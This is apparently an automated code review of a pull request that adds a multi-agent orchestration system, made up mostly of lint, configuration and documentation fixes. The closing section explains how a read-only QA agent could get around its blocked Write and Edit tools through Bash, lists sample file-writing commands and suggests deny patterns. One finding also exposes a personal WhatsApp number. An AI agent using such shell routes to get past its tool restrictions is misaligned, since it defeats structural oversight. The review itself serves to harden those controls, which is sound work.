In @.claude/settings.local.json at line 17, The setting
enableAllProjectMcpServers is currently true and may expose unintended MCP
servers; change enableAllProjectMcpServers to false and instead explicitly list
only the required servers (e.g., "openclaw-bridge") in the enabledMcpjsonServers
array/object so only intended MCP servers are activated; update the
.claude/settings.local.json configuration by setting enableAllProjectMcpServers
to false and adding the required entries under enabledMcpjsonServers.
docs/architecture/multi-daemon-analysis.md (2)

586-594: Pricing data and external URLs may become outdated.

The API cost analysis (Section 9) references specific pricing that could change. Consider adding a "Last Verified" date to this section and noting that readers should verify current pricing at the linked source.

Suggestion
 ## 9. API Cost Analysis

 ### 9.1. Current Pricing (March 2026)
+
+> **Note:** Pricing data last verified March 2026. Verify current rates at the linked source.

 | Model | Input (per MTok) | Output (per MTok) | Notes |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/multi-daemon-analysis.md` around lines 586 - 594, Update
Section header "### 9.1. Current Pricing (March 2026)" and the pricing table to
include a "Last verified" date and a short note telling readers to verify
current pricing at the linked source; specifically add a line like "Last
verified: <YYYY-MM-DD>" adjacent to the heading and a parenthetical note below
the table (or a footnote) referencing the Anthropic Pricing link and advising
readers prices may change. Ensure the change is applied in the same block that
contains the models table so the identifiers "Claude Opus 4.6", "Claude Sonnet
4.6", and "Claude Haiku 4.5" remain unchanged.

629-632: Minor markdown formatting issue in cost table.

Static analysis flagged "spaces inside emphasis markers" on line 629. The table calculations appear correct, but the formatting could be cleaned up.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/multi-daemon-analysis.md` around lines 629 - 632, The table
row containing "All Opus 4.6 (current)" and the "Mixed (10 Sonnet, 5 Haiku, 5
Opus)" row uses raw asterisks which are being parsed as emphasis; fix by
escaping the asterisks (e.g., \*) or by replacing them with a non-markdown
symbol (× or ·) or wrapping the expressions in code spans so the cost
multipliers (like 20 * 50k * $5/MTok) are rendered literally and no longer
trigger emphasis.
aios-openclaw-contract.yaml (1)

156-158: Tighten screenshot_url validation to enforce URL format.

Since this file is contract-first validation, type: string alone is too permissive for a URL field.

🔒 Schema hardening suggestion
         screenshot_url:
           type: string
+          format: uri
+          max_length: 2048
           description: "URL to screenshot or error image (if sent via chat)"
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@aios-openclaw-contract.yaml` around lines 156 - 158, The schema for
screenshot_url is too permissive; update the screenshot_url property (symbol:
screenshot_url) to enforce URL format by adding a format constraint (e.g.,
format: "uri") and, if you want stricter validation, add a simple pattern that
requires http/https (e.g., ^https?://) and optionally a sensible maxLength; this
change ensures the OpenAPI/JSON Schema validates actual URLs rather than
arbitrary strings.
.claude/agent-memory/aios-po/MEMORY.md (1)

44-44: Use repo-relative paths for validation report references.

Line 44 and Line 63 hardcode /home/ubuntu/..., which is machine-specific and breaks portability for other contributors.

🔧 Proposed doc fix
-- Validation report: `/home/ubuntu/aios-core/docs/stories/active/validation-phase0.md`
+- Validation report: `docs/stories/active/validation-phase0.md`

-- Validation report: `/home/ubuntu/aios-core/docs/stories/active/validation-phase1.md`
+- Validation report: `docs/stories/active/validation-phase1.md`

Also applies to: 63-63

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.claude/agent-memory/aios-po/MEMORY.md at line 44, Replace the
machine-specific absolute path used in the "Validation report:
`/home/ubuntu/aios-core/docs/stories/active/validation-phase0.md`" lines with a
repo-relative path (e.g., `docs/stories/active/validation-phase0.md` or
`./docs/stories/active/validation-phase0.md`) so the references are portable;
update both occurrences of that validation report string in MEMORY.md (the
instance shown in the diff and the second occurrence) to use the repo-relative
path.
docs/architecture/gateway-agent-architecture.md (1)

507-512: Align gateway activation response with agent shortcut contract.

The defined greeting levels confirm presence, but they don’t expose a compact command list. Add 3–6 key commands (*help, *status, *inbox, etc.) in the activation response to match the expected shortcut UX.

Based on learnings: "Agent shortcut response must: (1) confirm agent activated, (2) show 3-6 main commands (*help, etc.), (3) follow the agent's persona".

Also applies to: 550-568

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/gateway-agent-architecture.md` around lines 507 - 512, The
activation responses (the minimal, named, and archetypal string values and the
signature_closing) must include a compact 3–6 item command shortcut list to
satisfy the agent shortcut contract; update the values for minimal, named, and
archetypal to (1) confirm activation, (2) append a short bullet or inline list
of 3–6 key commands such as *help, *status, *inbox, *archive, *subscribe (pick
the most relevant), and (3) keep the existing persona tone and the
signature_closing (“-- Relay, monitorando os canais”) unchanged; ensure the
formatting is consistent across the three variants and mirror the same command
set in the other block referenced around the archetypal/named entries to keep
responses aligned.
.claude/agent-memory/aios-devops/MEMORY.md (1)

8-11: Pin linkedin-mcp-server to stable version 4.1.2 instead of @latest.

Using @latest creates non-reproducible builds across environments and dates. Update both occurrences (lines 8 and 11) to use linkedin-mcp-server@4.1.2:

  • Line 8: /home/ubuntu/.local/bin/uvx linkedin-mcp-server@4.1.2
  • Line 11: uvx linkedin-mcp-server@4.1.2 --login
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.claude/agent-memory/aios-devops/MEMORY.md around lines 8 - 11, Update the
pinned package name in the stored commands: replace both occurrences of
"linkedin-mcp-server@latest" with "linkedin-mcp-server@4.1.2" (the two strings
shown in the file, e.g. the command "/home/ubuntu/.local/bin/uvx
linkedin-mcp-server@latest" and the login command "uvx
linkedin-mcp-server@latest --login") so the commands become reproducible and use
the stable 4.1.2 version.
docs/research/autonomous-agents-cost-analysis.md (1)

93-95: Label fenced blocks with language for lint compliance

Unlabeled fences are triggering MD040. Please annotate with text for formulas/ASCII charts and json/bash where applicable.

Also applies to: 431-456, 460-471

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/research/autonomous-agents-cost-analysis.md` around lines 93 - 95, The
fenced code blocks in autonomous-agents-cost-analysis.md are unlabeled causing
MD040; update each unlabeled triple-backtick block (including the formula block
around the custo_hora expression and the other ranges noted: 431-456 and
460-471) to include an appropriate language tag (use text for plain
formulas/ASCII charts, json for JSON blocks, bash for shell snippets) so the
markdown linter recognizes the block type; locate the blocks by the shown
formula snippet (custo_hora = (input_tokens * input_price * cache_factor) +
(output_tokens * output_price)) and add the corresponding language label after
the opening fence.
docs/architecture/telegram-observability-bridge.md (1)

12-26: Fix markdown lint issues in headings/fenced blocks

There are MD051/MD040 warnings (invalid TOC fragments and unlabeled code fences). Cleaning these up will stabilize doc tooling and anchors.

Also applies to: 51-68, 434-457

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/telegram-observability-bridge.md` around lines 12 - 26, The
TOC and code-fence lint issues are caused by invalid heading text and unlabeled
fenced blocks; update problematic headings such as "Session Architecture --
Critical Decision" and any other headings with punctuation that creates invalid
MD051 fragments (make them lowercase, remove or replace characters like multiple
dashes/colons, and ensure anchor-friendly text) and add explicit language labels
to all fenced code blocks flagged by MD040 (e.g., annotate triple-backtick
blocks with a language like ```json, ```yaml, or ```bash) in the same sections
referenced (including the TOC entries 1–14 and the blocks around lines 51–68 and
434–457) so the TOC fragments and code fences comply with markdownlint rules.
docs/architecture/session-daemon-phase0.md (1)

66-74: Add language identifiers to fenced code blocks

Several fenced blocks are unlabeled, which is tripping markdownlint (MD040). Add languages (text, json, bash, typescript, etc.) for lint compliance and better rendering.

Also applies to: 234-273, 734-763

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/session-daemon-phase0.md` around lines 66 - 74, The
unlabeled fenced code blocks (e.g., the block containing "CURRENT STATE:" /
"REQUIRED STATE:") should be updated to include a language identifier (for
example use `text` for flow diagrams, or `bash`/`json`/`typescript` where
appropriate) so markdownlint MD040 is satisfied; locate the code fences in this
file (including the other occurrences referenced by the reviewer ranges) and add
the appropriate language token after the opening triple backticks (e.g.,
```text) for each block to improve linting and rendering.
docs/architecture/telegram-observability-validation.md (3)

813-837: R2: Single bot approach is pragmatic and well-justified.

The example at lines 821-830 showing agent prefixes ([AIOS-Master], [@dev], etc.) is clear and demonstrates the concept effectively.

The elimination list (lines 832-836) shows concrete complexity reduction: 1 token vs N tokens, no bot-agent mapping needed, no cross-contamination risk.

This recommendation alone would address 4-5 of the FAIL verdicts. Consider elevating its priority or marking it as STRONGLY RECOMMENDED.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/telegram-observability-validation.md` around lines 813 -
837, Update the "R2: Start with SINGLE bot, not multi-bot" section to elevate
this recommendation to STRONGLY RECOMMENDED (or increase its priority) and make
the call-to-action explicit: prefix the intro/title with "STRONGLY RECOMMENDED"
and add a short justification sentence referencing the example using `@aios_bot`
and agent prefixes (e.g., [AIOS-Master], [`@dev`]) and the three eliminated
complexities (token management, bot-agent mapping, cross-contamination) so
readers immediately see the impact and that this single-bot approach addresses
multiple FAIL verdicts.

68-108: Option B analysis has a critical insight about token cost multiplication.

Lines 99-102 identify that context serialization between steps means "Token costs multiply linearly with the number of steps." This is an excellent observation that many architectures overlook.

If step 1 uses 10K tokens of context, step 2 must replay those 10K + add its own 5K, step 3 replays 15K + adds 7K, etc. For a 6-step workflow, total token cost could be 3-5x higher than a persistent session.

This cost implication should be elevated in the recommendation section as a quantitative argument for the Session Daemon approach.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/telegram-observability-validation.md` around lines 68 -
108, Update the recommendation section to highlight the token-cost multiplier
from Option B (Context Passed via Files / inbox/outbox pattern) as a decisive
quantitative argument for preferring a Session Daemon approach: explicitly call
out the linear replay effect described in the Option B analysis (lines
referencing inbox/outbox and ".claude/rules/agent-handoff.md"), add a concise
worked example (e.g., 10k tokens step1 + 5k step2 leading to 3–5x total token
cost over 4–6 steps) and recommend the Session Daemon to avoid repeated
full-context replays; ensure the text references "AIOS Master", "inbox/outbox
pattern" and "Session Daemon" so reviewers can find the change quickly.

184-203: Path 1 step-by-step feasibility analysis is rigorous.

The table breaking down each step with "Feasible?" and "Issue" columns makes it easy to see where the architecture breaks down. Steps 4-8 all FAIL due to the statefulness problem.

Minor inconsistency: Step 5 identifies "No mechanism for a Claude Code agent to send messages to a SPECIFIC Telegram bot" and references lack of a Telegram send command. But later in Issues Found #2 (line 200), this is described as missing "bot-to-agent mapping." These are related but distinct issues - mixing them may cause confusion.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/telegram-observability-validation.md` around lines 184 -
203, The review points out a minor inconsistency: Step 5's note that "No
mechanism for a Claude Code agent to send messages to a SPECIFIC Telegram bot"
(and lack of a Telegram send command) is related but distinct from "No
bot-to-agent mapping" in Issues Found `#2`; please split these into two clear,
separate issues so readers can distinguish (1) protocol/feature gap — no
Telegram send command or bridge integration (reference Step 5) and (2)
routing/config gap — no mapping of agent identities to bot tokens/credentials
(reference Issues Found `#2`), and update the table and Issues Found list to
reflect the separation and consistent wording.
docs/architecture/autonomous-agents-validation.md (3)

967-970: Final conditional verdict is appropriately conservative.

The verdict structure is sound:

  1. Category 1 blocks everything (Phase 0 R0)
  2. Category 2 blocks Phase 2 (governance gaps)
  3. Category 3 blocks Phases 3-4 respectively

The conditional approval "If R0 is confirmed AND governance gaps addressed" provides a clear gate for proceeding.

Consistency note: Earlier at line 5, the document status is "CONCERNS" but the tone throughout feels closer to "CONDITIONAL PASS pending blockers." Consider whether the status should be "CONDITIONAL APPROVAL" to better reflect the phased veto conditions.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/autonomous-agents-validation.md` around lines 967 - 970,
The document's final verdict text correctly describes phased blockers (Category
1 -> R0, Category 2 -> Governance Engine gaps, Category 3 -> later phases) but
the overall document status string at the top ("CONCERNS") is inconsistent with
the conditional approval language; update the document status to "CONDITIONAL
APPROVAL" (or an equivalent phrase) so it matches the conditional verdict
paragraph (references: "R0", "Governance Engine", "Category 1/2/3") and ensure
any summary or header that still says "CONCERNS" is changed to the new status
for consistency.

897-913: R4: Orchestrator watchdog implementation is specific and correct.

The systemd unit configuration and JavaScript implementation using sd-notify are both valid. The 60-second watchdog with 30-second notify interval provides 2x safety margin.

Minor gap: The recommendation doesn't specify what the Orchestrator should do if IT detects its own health degrading (high memory, slow event processing). Should it proactively restart itself before systemd kills it?

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/autonomous-agents-validation.md` around lines 897 - 913,
Add proactive self-restart behavior in the Orchestrator so it can reboot itself
before systemd WatchdogSec triggers: implement a health-check routine
(monitoring memory, event processing latency, etc.) in the same module that
calls sdNotify.watchdog() (reference sdNotify.watchdog()) and, when thresholds
are exceeded, perform a controlled restart (graceful shutdown and exit with a
non-zero code or send SIGTERM to self consistent with WatchdogSignal) so systemd
will restart the service; ensure the health-check runs on the same timer or a
higher-frequency interval than the watchdog notify loop and document the
thresholds and restart pathway used by the Orchestrator code.

13-13: Consider clarifying the "skyscraper on unpoured foundation" metaphor.

Line 17 states "The Session Daemon Phase 0 (the foundation this architecture depends on) received a CONCERNS verdict with 3 FAILs" but then immediately notes "Those FAILs have not been resolved." This creates ambiguity about whether Phase 0 has been implemented but unvalidated, or designed but not implemented.

Consider being more explicit: "Phase 0 has been implemented in packages/session-daemon/ but the blocking R0 verification script has not been confirmed as passing, leaving 3 FAILs unresolved."

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/autonomous-agents-validation.md` at line 13, The doc's
metaphor is ambiguous about whether "Session Daemon Phase 0" has been
implemented; update the sentence mentioning "Session Daemon Phase 0 (the
foundation this architecture depends on) received a CONCERNS verdict with 3
FAILs" to explicitly state that Phase 0 has been implemented but the R0
verification script has not passed—e.g., replace with: "Phase 0 (the existing
Session Daemon implementation) is present, but the blocking R0 verification
script has not been confirmed as passing, leaving 3 FAILs unresolved"; reference
the exact phrases "Session Daemon Phase 0", "CONCERNS verdict", "3 FAILs", and
"R0 verification script" when making the change so the intent is unambiguous.

ℹ️ Review info

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between a67cd50 and 9aa8260.

⛔ Files ignored due to path filters (2)
  • openclaw-mcp-bridge/package-lock.json is excluded by !**/package-lock.json
  • package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (123)
  • .claude/CLAUDE.md
  • .claude/agent-memory/aios-architect/MEMORY.md
  • .claude/agent-memory/aios-devops/MEMORY.md
  • .claude/agent-memory/aios-po/MEMORY.md
  • .claude/agent-memory/oalanicolas/MEMORY.md
  • .claude/agent-memory/pedro-valerio/MEMORY.md
  • .claude/commands/content-visual.md
  • .claude/settings.local.json
  • .gitignore
  • aios-openclaw-contract.yaml
  • docs/architecture/autonomous-agents-architecture.md
  • docs/architecture/autonomous-agents-validation.md
  • docs/architecture/gateway-agent-architecture.md
  • docs/architecture/gateway-personal-memory-architecture.md
  • docs/architecture/gateway-personal-validation.md
  • docs/architecture/multi-daemon-analysis.md
  • docs/architecture/session-daemon-phase0-validation.md
  • docs/architecture/session-daemon-phase0.md
  • docs/architecture/telegram-observability-bridge.md
  • docs/architecture/telegram-observability-validation.md
  • docs/product/prd-sdk-orchestrator.md
  • docs/research/autonomous-agents-cost-analysis.md
  • docs/research/autonomous-agents-market-research.md
  • docs/research/freelance-machine/cold-outreach.md
  • docs/research/freelance-machine/cover-letters-junior-ai.md
  • docs/research/freelance-machine/linkedin-posts.md
  • docs/research/freelance-machine/market-analysis.md
  • docs/research/freelance-machine/proposal-templates.md
  • docs/research/freelance-machine/upwork-profile.md
  • docs/research/linkedin-strategy/2026-03-01-relatorio-estrategico.md
  • openclaw-mcp-bridge/package.json
  • openclaw-mcp-bridge/src/index.js
  • openclaw-mcp-bridge/src/shared-memory.js
  • package.json
  • packages/aios-mcp-federation/bin/start-server.js
  • packages/aios-mcp-federation/bin/validate-contract.js
  • packages/aios-mcp-federation/contracts/aios-openclaw-contract.yaml
  • packages/aios-mcp-federation/jest.config.js
  • packages/aios-mcp-federation/package.json
  • packages/aios-mcp-federation/src/aios-mcp-server.js
  • packages/aios-mcp-federation/src/contract-loader.js
  • packages/aios-mcp-federation/src/contract-validator.js
  • packages/aios-mcp-federation/src/openclaw-tools-adapter.js
  • packages/aios-mcp-federation/tests/aios-mcp-server.test.js
  • packages/aios-mcp-federation/tests/contract-validator.test.js
  • packages/aios-mcp-federation/tests/integration.test.js
  • packages/aios-mcp-federation/tests/openclaw-tools-adapter.test.js
  • packages/aios-orchestrator/agent-registry.json
  • packages/aios-orchestrator/install.sh
  • packages/aios-orchestrator/orchestrator.mjs
  • packages/aios-orchestrator/overnight.sh
  • packages/aios-orchestrator/package.json
  • packages/aios-orchestrator/src/comms-bridge.mjs
  • packages/aios-orchestrator/src/decision-parsers.mjs
  • packages/aios-orchestrator/src/errors.mjs
  • packages/aios-orchestrator/src/governance-hooks.mjs
  • packages/aios-orchestrator/src/index.mjs
  • packages/aios-orchestrator/src/registry.mjs
  • packages/aios-orchestrator/src/session-manager.mjs
  • packages/aios-orchestrator/src/state-persistence.mjs
  • packages/aios-orchestrator/src/workflow-engine.mjs
  • packages/aios-orchestrator/systemd/aios-orchestrator.logrotate
  • packages/aios-orchestrator/systemd/aios-orchestrator.service
  • packages/aios-orchestrator/tests/cli.test.mjs
  • packages/aios-orchestrator/tests/comms-bridge.test.mjs
  • packages/aios-orchestrator/tests/decision-parsers.test.mjs
  • packages/aios-orchestrator/tests/deploy.test.mjs
  • packages/aios-orchestrator/tests/e2e.test.mjs
  • packages/aios-orchestrator/tests/governance.evasion.test.mjs
  • packages/aios-orchestrator/tests/governance.unit.test.mjs
  • packages/aios-orchestrator/tests/registry.test.mjs
  • packages/aios-orchestrator/tests/session-manager.test.mjs
  • packages/aios-orchestrator/tests/workflow-engine.test.mjs
  • packages/aios-orchestrator/uninstall.sh
  • packages/session-daemon/config/aios-session-daemon.service
  • packages/session-daemon/config/daemon.yaml
  • packages/session-daemon/package.json
  • packages/session-daemon/schemas/inbox-message.json
  • packages/session-daemon/schemas/outbox-message.json
  • packages/session-daemon/scripts/install-service.sh
  • packages/session-daemon/src/cli.js
  • packages/session-daemon/src/command-queue.js
  • packages/session-daemon/src/health-monitor.js
  • packages/session-daemon/src/inbox-watcher.js
  • packages/session-daemon/src/index.js
  • packages/session-daemon/src/outbox-writer.js
  • packages/session-daemon/src/schema-validator.js
  • packages/session-daemon/src/session-adapter.js
  • packages/session-daemon/src/stream-processor.js
  • packages/session-daemon/tests/e2e-live.test.js
  • packages/session-daemon/tests/e2e-quick.mjs
  • packages/session-daemon/tests/story1-integration.test.js
  • packages/session-daemon/tests/story2-integration.test.js
  • packages/session-daemon/tests/story34-integration.test.js
  • packages/session-daemon/tsconfig.json
  • packages/telegram-bridge/.claude/agent-memory/aios-analyst/MEMORY.md
  • packages/telegram-bridge/.claude/agent-memory/aios-architect/MEMORY.md
  • packages/telegram-bridge/.env.example
  • packages/telegram-bridge/config/aios-telegram-bridge.service
  • packages/telegram-bridge/config/bots.yaml
  • packages/telegram-bridge/package.json
  • packages/telegram-bridge/scripts/install-service.sh
  • packages/telegram-bridge/src/agent-router.js
  • packages/telegram-bridge/src/bot-manager.js
  • packages/telegram-bridge/src/inbox-writer.js
  • packages/telegram-bridge/src/index.js
  • packages/telegram-bridge/src/message-formatter.js
  • packages/telegram-bridge/src/outbox-watcher.js
  • packages/telegram-bridge/src/rate-limiter.js
  • packages/telegram-bridge/tests/agent-router.test.js
  • packages/telegram-bridge/tests/inbox-writer.test.js
  • packages/telegram-bridge/tests/message-formatter.test.js
  • packages/telegram-bridge/tests/outbox-watcher.test.js
  • packages/telegram-bridge/tests/rate-limiter.test.js
  • scripts/orchestrator-poc-sdc.mjs
  • scripts/orchestrator-poc-single.mjs
  • scripts/poc-agent-config.json
  • scripts/poc-lib.mjs
  • scripts/poc-prompts/sm-create-story.txt
  • scripts/r0-minimal.mjs
  • scripts/r0-verification.mjs
  • scripts/trigger-config.yaml
  • scripts/webhook-trigger.js

Comment on lines +400 to +401
| `openclaw message send --to +NUMBER --body "texto"` | Enviar mensagem direta |
| `openclaw agent --to +NUMBER --message "texto" --deliver` | Executar agente e entregar resposta |
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⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Locate all openclaw message send variants in documentation
rg -n "openclaw message send" .claude/CLAUDE.md 2>/dev/null || echo "Pattern not found or file missing"
rg -n "openclaw agent" .claude/CLAUDE.md 2>/dev/null || echo "Pattern not found"

# Look for the specific flag patterns mentioned
rg -n -- "--to|--body|--target|--message" .claude/CLAUDE.md 2>/dev/null | head -30

Repository: SynkraAI/aios-core

Length of output: 927


🏁 Script executed:

#!/bin/bash
# Search for openclaw implementation or CLI definitions
fd -type f -name "*.py" -o -name "*.go" -o -name "*.rs" -o -name "*.js" -o -name "*.ts" | xargs rg -l "openclaw" 2>/dev/null | head -10

# Check for requirements or setup files that might indicate the real CLI
fd -type f \( -name "requirements*.txt" -o -name "setup.py" -o -name "pyproject.toml" -o -name "Cargo.toml" -o -name "package.json" \) -exec grep -l "openclaw" {} \;

# Look for any README or docs explaining the CLI
fd -type f \( -name "*.md" -o -name "*.rst" \) -exec grep -l "openclaw.*--help\|CLI.*contract\|command.*syntax" {} \; 2>/dev/null

Repository: SynkraAI/aios-core

Length of output: 821


🏁 Script executed:

#!/bin/bash
# Read the OpenClaw contract to see the actual CLI specification
cat -n aios-openclaw-contract.yaml | head -100

# Also check the MCP bridge implementation
rg -n "message send|--target|--to|--body|--message" openclaw-mcp-bridge/src/index.js -B 2 -A 2 | head -50

Repository: SynkraAI/aios-core

Length of output: 4423


Standardize OpenClaw send-command flags to match the actual CLI contract

Line 400 documents the command with incorrect flags (--to and --body). The actual implementation uses --target and --message (as shown in lines 446, 454). Update line 400 from:

| `openclaw message send --to +NUMBER --body "texto"` | Enviar mensagem direta |

to:

| `openclaw message send --target +NUMBER --message "texto"` | Enviar mensagem direta |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.claude/CLAUDE.md around lines 400 - 401, Update the documented CLI example
string on the line containing "`openclaw message send --to +NUMBER --body
"texto"`" to use the actual flags used by the implementation by changing it to
"`openclaw message send --target +NUMBER --message "texto"`"; search for the
literal example text in the file (the table row with the direct message example)
and replace the `--to`/`--body` tokens with `--target`/`--message` so it matches
other examples like the agent command (`--target` and `--message`).

Comment on lines +424 to +426
- **Canal**: WhatsApp (+5528999301848)
- **dmPolicy**: open (qualquer um pode enviar DM)
- **Modelo**: anthropic/claude-sonnet-4-5-20250929
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⚠️ Potential issue | 🟠 Major

dmPolicy: open weakens the gateway security boundary.

For this architecture, open DMs expand attack surface and increase privacy leakage risk. Tighten to allowlist (or document a strict compensating control) before relying on personal-context flows.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.claude/CLAUDE.md around lines 424 - 426, Summary: The dmPolicy currently
set to "open" increases attack surface and should be tightened. Update the
dmPolicy entry (the "dmPolicy: open" symbol) to a restrictive mode such as
"allowlist" and enumerate allowed sending identities (or specific sender
numbers) for the "Canal: WhatsApp (+5528999301848)" entry; if you must keep
dmPolicy: open temporarily, add a documented compensating control section in the
same document that specifies strict monitoring, logging, rate-limiting, data
minimization, and retention rules and obtain explicit approval from security/PM
before rollout.

Comment on lines +117 to +121
!scripts/orchestrator-poc-single.mjs # E7.0.1 — PoC single agent
!scripts/orchestrator-poc-sdc.mjs # E7.0.2 — PoC SDC chain
!scripts/poc-lib.mjs # E7.0.2 — shared library
!scripts/poc-agent-config.json # E7.0.2 — agent configs
!scripts/poc-prompts/ # E7.0.1 — test prompts
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⚠️ Potential issue | 🟠 Major

Unignore rules won’t take effect while scripts/ remains ignored

Because Line 116 ignores the whole scripts/ directory, the negations on Lines 117-121 won’t reliably include those files for new/untracked paths.
Please unignore the parent directory first, then re-ignore and selectively include targets.

Suggested `.gitignore` fix
 scripts/                      # Project-specific scripts (not part of core)
+!scripts/
+scripts/*
 !scripts/orchestrator-poc-single.mjs  # E7.0.1 — PoC single agent
 !scripts/orchestrator-poc-sdc.mjs     # E7.0.2 — PoC SDC chain
 !scripts/poc-lib.mjs                  # E7.0.2 — shared library
 !scripts/poc-agent-config.json        # E7.0.2 — agent configs
-!scripts/poc-prompts/                 # E7.0.1 — test prompts
+!scripts/poc-prompts/                 # E7.0.1 — test prompts
+!scripts/poc-prompts/**
 scripts/poc-output/                   # E7 PoC output (always ignored)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.gitignore around lines 117 - 121, The current .gitignore negations (e.g.
!scripts/orchestrator-poc-single.mjs, !scripts/orchestrator-poc-sdc.mjs,
!scripts/poc-lib.mjs, !scripts/poc-agent-config.json, !scripts/poc-prompts/)
won’t take effect while the parent pattern scripts/ is ignored; update
.gitignore to first unignore the parent directory (allowing git to consider
files under scripts/) and then re-apply the general ignore plus explicit
inclusions—i.e., add an unignore for scripts/ before your !scripts/<filename>
entries and ensure any broader ignores that match child paths are reordered so
the specific negations are applied after the parent is unignored.

| D1 | Execution model | (A) Multi-daemon persistent, (B) Process pool, (C) Master-worker on-demand | C | RAM constraint (8GB). On-demand avoids idle cost. Clean context per agent. |
| D2 | Communication | (A) Redis pub/sub, (B) Unix sockets, (C) Filesystem events, (D) gRPC | C | Zero new dependencies. Crash-recoverable (files survive restarts). Existing IPC already uses filesystem. Proven in current architecture. |
| D3 | State persistence | (A) PostgreSQL, (B) SQLite, (C) Pure JSON files | B + C | SQLite for structured queries (task history, budgets). JSON for simple state (health, events). No cloud dependency. |
| D4 | Worker spawn mechanism | (A) child_process.fork(), (B) child_process.exec(), (C) systemd transient units | A | fork() shares V8 heap initially (copy-on-write), fastest spawn. Transient units would provide better resource isolation but add complexity. Phase 5 can migrate to transient units. |
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⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🌐 Web query:

Node.js child_process.fork() V8 heap memory sharing separate process

💡 Result:

child_process.fork() creates a separate OS process running a new Node.js instance. That means:

  • No V8 heap sharing: the parent and child are independent, each with its own memory space and its own V8 instance/heap. So you cannot share JavaScript objects (or the V8 heap) between them. [1]
  • Communication is via IPC (message passing): data you send between parent/child is serialized/cloned and copied over the IPC channel (pipes), not shared by reference. [1][2]

If you need shared memory, use worker_threads instead of child_process/cluster:

  • Workers can share SharedArrayBuffer (true shared memory) or transfer ArrayBuffer ownership (zero-copy move). [3]

Sources: Node.js child_process docs [1], discussion of copy-via-IPC for child processes [2], Node.js worker_threads docs on shared memory [3].


Decision D4 contains a technical inaccuracy about child_process.fork() behavior.

Line 1741 states that fork() shares the V8 heap initially via copy-on-write. This is incorrect. In Node.js, fork() creates a separate OS process with its own V8 instance and memory space—no heap is shared between parent and child. Data exchange occurs only through IPC (message passing), which serializes and clones values. This misstatement could lead to incorrect capacity planning and memory isolation assumptions.

Suggested correction
-| D4 | Worker spawn mechanism | (A) child_process.fork(), (B) child_process.exec(), (C) systemd transient units | A | fork() shares V8 heap initially (copy-on-write), fastest spawn. Transient units would provide better resource isolation but add complexity. Phase 5 can migrate to transient units. |
+| D4 | Worker spawn mechanism | (A) child_process.fork(), (B) child_process.exec(), (C) systemd transient units | A | `fork()` spawns an independent Node.js process with its own V8 instance and memory space. Inter-process communication occurs via IPC (message passing), with data serialized and cloned. Plan capacity and isolation per worker process. |
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
| D4 | Worker spawn mechanism | (A) child_process.fork(), (B) child_process.exec(), (C) systemd transient units | A | fork() shares V8 heap initially (copy-on-write), fastest spawn. Transient units would provide better resource isolation but add complexity. Phase 5 can migrate to transient units. |
| D4 | Worker spawn mechanism | (A) child_process.fork(), (B) child_process.exec(), (C) systemd transient units | A | `fork()` spawns an independent Node.js process with its own V8 instance and memory space. Inter-process communication occurs via IPC (message passing), with data serialized and cloned. Plan capacity and isolation per worker process. |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/architecture/autonomous-agents-architecture.md` at line 1741, Update
Decision D4 to remove the claim that child_process.fork() "shares V8 heap
initially (copy-on-write)"; instead state that child_process.fork() creates a
separate OS process with its own V8 instance and memory space (no shared heap)
and that communication is via IPC (message passing) which serializes/clones
values—also optionally note that systemd transient units provide stronger
isolation if needed; edit the D4 row referencing child_process.fork() to reflect
these accurate behaviors.

Comment on lines +193 to +221

The @qa Worker profile specifies:
```yaml
denied_tools:
- Write
- Edit
```

This prevents @qa from using the `Write` and `Edit` tools. However, @qa still has `Bash` in its `allowed_tools` list. Via Bash, @qa can execute:

```bash
echo "malicious content" > src/component.tsx
sed -i 's/old/new/g' src/component.tsx
node -e 'require("fs").writeFileSync("src/x.js", "hack")'
```

The `denied_bash_patterns` for @qa are: `["git push", "rm -rf"]`. These do not cover arbitrary file writes via `echo >`, `sed`, `tee`, `cp`, `mv`, `node -e`, `python -c`, or any other shell command that modifies files.

**Why this is FAIL:** The architecture claims @qa is "READ-ONLY" and "CANNOT modify files." This is enforced at the SDK tool level (Write/Edit blocked) but not at the Bash level. The system prompt says "You are READ-ONLY" but this is advisory, not structural. A sufficiently creative LLM response could write files through Bash.

**The architecture's own design principle P2 states: "Authority is structural, not advisory."** The @qa Worker violates P2 by relying on system prompt for file modification prevention while leaving Bash as a write-capable escape hatch.

**Mitigation options:**
1. Remove `Bash` from @qa's `allowed_tools` entirely (most restrictive)
2. Add comprehensive `denied_bash_patterns` for file modification: `["echo.*>", "sed -i", "tee ", ">", ">>", "cp ", "mv ", "node -e", "python -c"]` (fragile, always bypassable)
